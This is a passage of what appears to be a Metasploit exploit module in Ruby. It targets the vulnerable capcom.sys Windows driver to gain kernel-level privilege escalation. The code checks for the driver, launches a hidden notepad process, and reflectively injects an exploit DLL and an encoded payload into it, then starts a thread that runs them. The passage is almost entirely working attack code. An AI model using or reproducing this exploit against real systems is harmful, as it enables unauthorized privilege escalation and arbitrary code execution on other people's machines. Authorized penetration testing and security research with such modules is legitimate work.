file_path = expand_path('%windir%') << '\\system32\\capcom.sys'
return Exploit::CheckCode::Safe unless file_exist?(file_path)
# TODO: check for the capcom.sys driver and its version.
return Exploit::CheckCode::Appears
end
def exploit
if is_system?
fail_with(Failure::None, 'Session is already elevated')
end
check_result = check
if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown
fail_with(Failure::NotVulnerable, 'Exploit not available on this system.')
end
if sysinfo['Architecture'] =~ /wow64/i
fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session')
elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86
fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86')
end
print_status('Launching notepad to host the exploit...')
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
print_good("Process #{process.pid} launched.")
rescue Rex::Post::Meterpreter::RequestError
# Reader Sandbox won't allow to create a new process:
# stdapi_sys_process_execute: Operation failed: Access is denied.
print_status('Operation failed. Trying to elevate the current process...')
process = client.sys.process.open
end
print_status("Reflectively injecting the exploit DLL into #{process.pid}...")
library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec',
'capcom_sys_exec.x64.dll')
library_path = ::File.expand_path(library_path)
print_status("Injecting exploit into #{process.pid}...")
exploit_mem, offset = inject_dll_into_process(process, library_path)
print_status("Exploit injected. Injecting payload into #{process.pid}...")
payload_mem = inject_into_process(process, payload.encoded)
# invoke the exploit, passing in the address of the payload that
# we want invoked on successful exploitation.
print_status('Payload injected. Executing exploit...')
process.thread.create(exploit_mem + offset, payload_mem)
print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.')
end
end